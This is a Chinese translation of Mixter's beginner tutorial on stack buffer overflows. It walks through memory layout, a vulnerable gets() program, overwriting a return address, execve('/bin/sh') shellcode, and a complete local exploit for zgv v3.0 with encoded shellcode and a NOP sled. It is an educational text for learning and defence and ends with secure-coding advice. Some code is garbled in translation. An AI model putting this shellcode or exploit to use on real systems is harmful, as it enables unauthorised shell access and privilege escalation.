緩衝區溢位攻擊初學者手冊(更新版)

apachecn_飛龍發表於2017-03-18

譯者:IDF_Lab

來源:緩衝區溢位攻擊初學者手冊(更新版)

說明

‍‍之前版本翻譯質量不佳,本人趙陽在這裡對本文的讀者表示深深的歉意。由於本人的疏忽和大意導致您不能很好的讀完這篇文章,同時也對原文內容進行了破壞,也對IDF和FreeBuf造成了一定的不良影響。我在這裡對大家進行道歉!對翻譯文章進行了即時的修改,同時感謝大家的評語!我會吸取此次教訓,保證以後不會在出現類似的事情!請大家原諒!謝謝!‍‍

以下為正文

‍‍緩衝區溢位會出現在和使用者輸入相關緩衝區內,在一般情‍‍‍‍況下,這已經變成了現代計算機和網路方面最大的安全隱患之一。這是因為在程式的基礎上很容易出現這種問題,但是這對於不瞭解或是無法獲得原始碼的使用者來說是不可能的,很多的類似問題就會被利用。本文就的目的就是教會新手特別是C程式設計師,說明怎麼利用這種溢位環境。- Mixter‍‍‍‍‍‍

1 記憶體

注:我在這裡的描述方法為:大多數計算機上記憶體作為程式的組織者,但是它依賴處理器結構的型別。這是一個x86的例子,同時也可以應用在sparc上。

‍‍緩衝區溢位的攻擊原理是覆蓋不能重寫隨機輸入和在程式中執行程式碼的記憶體。要了解在什麼地方和怎麼發生的溢位,就讓我們來看下記憶體是如何組織的。頁是使用和它相關地址的記憶體的一個部分,這就意味著核心的程式記憶體的初始化,這就沒有必要知道在RAM中分配的實體地址。程式記憶體由下面三個部分組成:

‍‍‍‍程式碼段,在這一段程式碼中的資料是通過處理器中執行的彙編指令。該程式碼的執行是非線性的,它可以跳過程式碼,跳躍,在某種特定情況下呼叫函式。以此,我們使用EIP指標,或是指標指令。其中EIP指向的地址總是包含下一個執行程式碼。‍‍‍‍

‍‍資料段,變數空間和動態緩衝器。‍‍

堆疊段,這是用來給函式傳遞變數的和為函式變數提供空間。棧的底部位於每一頁的虛擬記憶體的末端,同時向下運動。彙編命令PUSHL會增加棧的頂部,POPL會從棧的頂部移除專案並且把它們放到暫存器中。為了直接訪問棧暫存器,在棧的頂部有棧頂指標ESP。‍‍

2 函式

函式是一段程式碼段的程式碼,它被呼叫,執行一個任務,之後返回執行的前一個執行緒。或是把引數傳遞給函式,通常在組合語言中,看起來是這樣的(這是一個很簡單的例子,只是為了瞭解一下概念)。

memory addresscode
0x8054321pushl $0x0
0x8054322call $0x80543a0 
0x8054327ret
0x8054328leave
...
0x80543a0popl %eax
0x80543a1addl $0x1337,%eax
0x80543a4ret

‍‍這會發生什麼?主函式呼叫了function(0);

‍‍變數是0,主要把它壓入棧中,同時呼叫該函式。函式使用popl來獲取棧中的變數。完成後,返回0×8054327。通常情況下,主函式要把EBP暫存器壓入棧中,這是函式儲存的和在結束後在儲存的。這就是幀指標的概念,允許函式使用自己的偏移地址,在對付攻擊時就變的很無趣了。因為函式將不會返回到原有的執行執行緒。‍‍

‍‍我們只需要知道棧是什麼樣的。在頂部,我們有函式的內部緩衝區和函式變數。在此之後,有儲存的EBP暫存器(32位,4個位元組),然後返回地址,是另外的4個位元組。再往下,還有要傳遞給函式的引數,這對我們來說沒有意義。‍‍

‍‍在這種情況下,我們返回的地址是0×8054327。在函式被呼叫時,它就會自動的儲存到棧中。如果程式碼中存在溢位的地方,這個返回值會被覆蓋,並且指標指向記憶體中的下一個位置。‍‍‍‍

3 一個可以利用的程式例項

讓我們假設我們要利用的函式為:

void lame (void) { char small[30]; gets (small); printf("%s
", small); }
main() { lame (); return 0; }

Compile and disassemble it:
# cc -ggdb blah.c -o blah
/tmp/cca017401.o: In function `lame`:
/root/blah.c:1the `gets`; function is dangerous and should not be used.
# gdb blah
/* short explanation: gdb, the GNU debugger is used here to read the
   binary file and disassemble it (translate bytes to assembler code) */
(gdb) disas main
Dump of assembler code for function main:
0x80484c8 :       pushl  %ebp
0x80484c9 :     movl   %esp,%ebp
0x80484cb :     call   0x80484a0 
0x80484d0 :     leave
0x80484d1 :     ret

(gdb) disas lame
Dump of assembler code for function lame:
/* saving the frame pointer onto the stack right before the ret address */
0x80484a0 :       pushl  %ebp
0x80484a1 :     movl   %esp,%ebp
/* enlarge the stack by 0x20 or 32. our buffer is 30 charactersbut the
   memory is allocated 4byte-wise (because the processor uses 32bit words)
   this is the equivalent to: char small[30]; */
0x80484a3 :     subl   $0x20,%esp
/* load a pointer to small[30] (the space on the stack, which is located
   at virtual address 0xffffffe0(%ebp)) on the stack, and call
   the gets function: gets(small); */
0x80484a6 :     leal   0xffffffe0(%ebp),%eax
0x80484a9 :     pushl  %eax
0x80484aa :    call   0x80483ec 
0x80484af :    addl   $0x4,%esp
/* load the address of small and the address of "%s
" string on stack
   and call the print function: printf("%s
", small); */
0x80484b2 :    leal   0xffffffe0(%ebp),%eax
0x80484b5 :    pushl  %eax
0x80484b6 :    pushl  $0x804852c
0x80484bb :    call   0x80483dc 
0x80484c0 :    addl   $0x8,%esp
/* get the return address, 0x80484d0from stack and return to that address.
   you don`t see that explicitly here because it is done by the CPU as `ret` */
0x80484c3 :    leave
0x80484c4 :    ret
End of assembler dump.

3a 程式溢位

# ./blah
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<- user input
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# ./blah
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- user input
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Segmentation fault (core dumped)
# gdb blah core
(gdb) info registers
     eax:       0x24          36
     ecx:  0x804852f   134513967
     edx:        0x1           1
     ebx:   0x11a3c8     1156040
     esp: 0xbffffdb8 -1073742408
     ebp:   0x787878     7895160

‍‍EBP位於0×787878,這就意味我們已經寫入了超出緩衝區輸入可以控制的範圍。0×78是十六進位制的x。該過程有32個位元組的最大的緩衝器。我們已經在記憶體中寫入了比使用者輸入更多的資料,因此重寫EBP,返回值的地址是‘xxxx’,這個過程會嘗試在地址0×787878處重複執行,這就會導致段的錯誤。‍‍

3b 改變返回值地址

‍‍讓我們嘗試利用這個程式來返回lame()來代替它的返回值,我們要改變返回值的地址從0x80484d0到0x80484cb,在記憶體中,我們有32位元組的緩衝區空間,4個位元組儲存EBP,4個位元組的RET。下面是一個很簡單的程式,把4個位元組的返回地址變成一個1個位元組字元緩衝區:‍‍



main()
{
int i=0char buf[44];
for (i=0;i<=40;i+=4)
*(long *) &buf[i] = 0x80484cb;
puts(buf);
}
# ret
ËËËËËËËËËËË,
 
# (ret;cat)|./blah
test <- user input
ËËËËËËËËËËË,test
test <- user input
test

‍‍我們在這裡使用這個程式執行了兩次這個函式。如果有溢位存在,函式的返回值地址是可以變的,從而改變程式的執行執行緒。‍‍

4 Shellcode

‍‍為了簡單,Shellcode使用簡單的彙編指令,我們寫在棧上,然後更改返回地址,使它返回到棧內。使用這個方法,我們可以把程式碼插入到一個脆弱的程式中,然後在棧中正確的執行它。所以,讓我們通過插入的彙編程式碼來執行一個Shell。一個常見的呼叫命令是execve(),它可以載入和執行任意的二進位制程式碼,終止當前執行的程式。手冊中提供我們的用法為:‍‍

int  execve  (const  char  *filename, char *const argv [], char *const envp[]);

Lets get the details of the system call from glibc2:

# gdb /lib/libc.so.6
(gdb) disas execve
Dump of assembler code for function execve:
0x5da00 :       pushl  %ebx

/* this is the actual syscall. before a program would call execve, it would
  push the arguments in reverse order on the stack: **envp, **argv, *filename */
/* put address of **envp into edx register */
0x5da01 :     movl   0x10(%esp,1),%edx
/* put address of **argv into ecx register */
0x5da05 :     movl   0xc(%esp,1),%ecx
/* put address of *filename into ebx register */
0x5da09 :     movl   0x8(%esp,1),%ebx
/* put 0xb in eax register; 0xb == execve in the internal system call table */
0x5da0d :    movl   $0xb,%eax
/* give control to kernel, to execute execve instruction */
0x5da12 :    int    $0x80

0x5da14 :    popl   %ebx
0x5da15 :    cmpl   $0xfffff001,%eax
0x5da1a :    jae    0x5da1d <__syscall_error>
0x5da1c :    ret

結束彙編轉存。

4a 使程式碼可移植

‍‍傳統方式中,我們必須應用一個策略在記憶體中完成沒有指導引數的Shellcode,通過給予它們在頁儲存上的精確位置,這隻能在編譯中完成。

一旦我們估計了shellcode的大小,我們能夠使用指令jmp和call在執行執行緒向前或向後到達指定的位元組。為什麼使用call?call會自動的在棧記憶體儲和返回地址,這個返回地址是在下一個call指令後的4個位元組。在call執行後放置一個正確的變數,我們間接的把地址壓進了棧中,沒有必要了解它。‍‍

0   jmp      (skip Z bytes forward)
2   popl %esi
... put function(s) here ...
Z   call <-Z+2> (skip 2 less than Z bytes backward, to POPL)
Z+5 .string     (first variable)

(注:如果你要寫的程式碼比一個簡單的shell還要複雜,你可以多次使用上面的程式碼。字串放在程式碼的後面。你知道這些字串的大小,因此一旦你知道第一個字串的位置,就可以計算他們的相對位置。)

4b Shellcode

global code_start/* we`;ll need this later, dont mind it */
global code_end
.data
code_start:
jmp  0x17
popl %esi
movl %esi,0x8(%esi)/* put address of **argv behind shellcode,
   0x8 bytes behind it so a /bin/sh has place */
xorl %eax,%eax/* put 0 in %eax */
movb %eax,0x7(%esi)/* put terminating 0 after /bin/sh string */
movl %eax,0xc(%esi)/* another 0 to get the size of a long word */
my_execve:
movb $0xb,%al/* execve(         */
movl %esi,%ebx/* "/bin/sh",      */
leal 0x8(%esi),%ecx/* & of "/bin/sh", */
xorl %edx,%edx/* NULL   */
int $0x80/* );   */
call -0x1c
.string "/bin/shX"/* X is overwritten by movb %eax,0x7(%esi) */
code_end:

‍‍‍‍(通過0×0相對偏移了0×17和-0x1c,編譯,反彙編,看看shell程式碼的大小。)

這是一個正在執行著的shellcode,雖然很小。你至少要反彙編exit()來呼叫和依附它(在呼叫之前)。完成shellcode的正真的意義還包括避免任何二進位制0程式碼和修改它,二進位制程式碼不包含控制和小寫字元,這將會過濾掉一些問題程式。大多數是通過自己修改程式碼來完成的,如我們使用的mov %eax,0×7(%esi)指令。我們用來取代X,但是在shellcode初始化中沒有。

讓我們測試下這些程式碼,把上面的程式碼儲存為code.S同時把下面的檔案儲存為code.c:‍‍‍‍

extern void code_start();  extern void code_end();  #include <stdio.h> main() { ((void (*)(void)) code_start)(); }   # cc -o code code.S code.c  # ./code bash#

‍‍現在你可以把shellcode轉移到16進位制字元緩衝區。最好的方法就是把它列印出來:‍‍

#include <stdio.h>  extern void code_start(); extern void code_end(); main() { fprintf(stderr,"%s",code_start);

‍‍通過使用aconv –h或bin2c.pl來解析它,可以在http://www.dec.net/~dhg或是http://members.tripod.com/mixtersecurity上找到工具。‍‍

5 寫一個利用

‍‍讓我們看看如何把返回地址指向的shellcode進行壓棧,寫了一個簡單的例子。我們將要採用zgv,因為這是可以利用的一個最簡單的方法。‍‍

# export HOME=`perl -e `;printf "a" x 2000``
# zgv
Segmentation fault (core dumped)
# gdb /usr/bin/zgv core
#0  0x61616161 in ?? ()
(gdb) info register esp
     esp: 0xbffff574 -1073744524

‍‍‍‍那麼,在故障時間時在棧頂,安全的假設是我們能夠使用這作為我們shellcode的返回地址。

現在我們要在我們的緩衝區前增加一些NOP指令,所以我們沒有必要關注對於記憶體中的精確開始我們shellcode預測的100%正確。這個函式將會在我們的shellcode之前返回到棧,通過使用NOPs的方式來初始化JMP命令,跳轉到CALL,跳轉到popl,在棧中執行我們的程式碼。

記住,棧是這樣的。在最低階的記憶體地址,ESP指向棧的頂部,初始變數被儲存,即緩衝器中的zgv儲存了HOME環境變數。在那之後,我們儲存了EBP和前一個函式的返回地址。我們必須要寫8個位元組或是更多在緩衝區後面,用棧中的新的地址來覆蓋返回地址。

Zgv的緩衝器有1024個位元組。你可以通過掃視程式碼來發現,或是通過在脆弱的函式中搜尋初始化的subl $0×400,%esp (=1024)。我們可以把這些放在一起來利用。‍‍‍‍

5a zgv攻擊例項

/*                   zgv v3.0 exploit by Mixter
          buffer overflow tutorial - http://1337.tsx.org

        sample exploit, works for example with precompiled
    redhat 5.x/suse 5.x/redhat 6.x/slackware 3.x linux binaries */

#include <stdio.h> #include <unistd.h> #include <stdlib.h>  
/* This is the minimal shellcode from the tutorial */
static char shellcode[]=
"xebx17x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf3x8d"
"x4ex08x31xd2xcdx80xe8xe4xffxffxffx2fx62x69x6ex2fx73x68x58";

#define NOP     0x90
#define LEN     1032
#define RET     0xbffff574

int main()
{
char buffer[LEN];
long retaddr = RET;
int i;

fprintf(stderr,"using address 0x%lx
",retaddr);

/* this fills the whole buffer with the return address, see 3b) */
for (i=0;i<LEN;i+=4)
   *(long *)&buffer[i] = retaddr;

/* this fills the initial buffer with NOP`s, 100 chars less than the
   buffer size, so the shellcode and return address fits in comfortably */
for (i=0;i<LEN-strlen(shellcode)-100);i++)
   *(buffer+i) = NOP;   /* after the end of the NOPs, we copy in the execve() shellcode */  memcpy(buffer+i,shellcode,strlen(shellcode));
  /* export the variable, run zgv */   setenv("HOME", buffer, 1); execlp("zgv","zgv",NULL); return 0;
}
  /* EOF */   We now have a string looking like this:

[ ... NOP NOP NOP NOP NOP JMP SHELLCODE CALL /bin/sh RET RET RET RET RET RET ]
  While zgv`s stack looks like this:

v-- 0xbffff574 is here
[     S   M   A   L   L   B   U   F   F   E   R   ] [SAVED EBP] [ORIGINAL RET]

The execution thread of zgv is now as follows:

main ... -> function() -> strcpy(smallbuffer,getenv("HOME"));

此時,zgv做不到邊界檢查,寫入超出了smallbuffer,返回到main的地址被棧中的返回地址覆蓋。function()離不開/ ret和棧中EIP指標。

0xbffff574 nop
0xbffff575 nop
0xbffff576 nop
0xbffff577 jmp $0x24                    1
0xbffff579 popl %esi          3 <--    |
[... shellcode starts here ...]    |    |
0xbffff59b call -$0x1c             2 <--/
0xbffff59e .string "/bin/shX"

讓我們來測試這個應用

# cc -o zgx zgx.c  # ./zgx using address 0xbffff574 bash#

5b 編寫攻擊的進一步提示

‍‍‍‍有很多可以被利用的程式,但儘管很脆弱。但是這有很多的技巧,你可以通過過濾等方式。還有其他的溢位技術,這並不一定要包括改變返回地址或只是返回地址。有指標溢位,函式分配的指標能夠通過一個資料流來覆蓋,改變程式執行的流程。利用返回地址指向shell環境指標,shellcode位於那裡,而不是在棧上。

對於一個熟練掌握shellcode的人來說最根本上的是自己修改程式碼,最基本的包含可以列印,非白色的大寫字母,然後修改自己它,把shellcode函式放在要執行的棧上。

在你的shell程式碼裡不會有任何二進位制零,因為如果它包含了就可能無法正常的工作。但是討論怎麼昇華某種彙編指令與其他的命令超出了本文的範圍。我也建議讀其他大資料流,通過aleph1,Taeoh Oh和mudge來寫的。‍‍‍‍

5c 重要注意事項

‍‍‍‍你將不能在Windows 或是Macintosh上使用這個教程,不要和我要cc.exe和gdb.exe。‍‍‍‍

6 結論

‍‍我們已經知道,一旦使用者依賴存在的溢位,這就會用去90%的時間,即使利用起來有困難,同時要有一些技能。為什麼寫這個攻擊很重要呢?因為軟體企業是未知的。在軟體緩衝區溢位方面的漏洞的報告已經有了,雖然這些軟體沒有更新,或是大多數使用者沒有更新,因為這個漏洞很難被利用,沒有人認為這會成為一個安全隱患。然後,漏洞出現了,證明能夠利用,這就要急於更新了。

‍‍作為程式設計師,寫‍‍一個安全的程式是一個艱鉅的任務,但是要認真的對待。在寫入伺服器時就變的更加值得關注,任何型別的安全程式,或是suid root的程式,或是設計時使用root來執行,如特別的賬戶或是系統本身。應用範圍檢測,分配動態緩衝器,輸入的依賴性,資料大小,小心for,while等。收集資料和填充緩衝區,以及一般處理使用者很關心的輸入迴圈是我建議的主要原則。‍‍‍‍

‍‍目前使用非可執行的棧,suid包,防衛程式來核對返回值,邊界核查編輯器等技術來阻止溢位問題,從而在安全行業取得了顯著的成績。你應該可以使用這些技術在特定的情況下,但是不要完全依賴他們。如果你執行vanilla的UNIX發行版時,有溢位保護或是防火牆/IDS,但是不要假設很安全。它不能保證安全,如果你繼續使用不安全的程式,因為所有安全程式是軟體的同時包含自身漏洞的,至少他們不是完美的。如果你頻繁的使用更新和安全措施,你仍然不能得到渴望的安全,你只能希望是安全的。‍‍‍‍


相關文章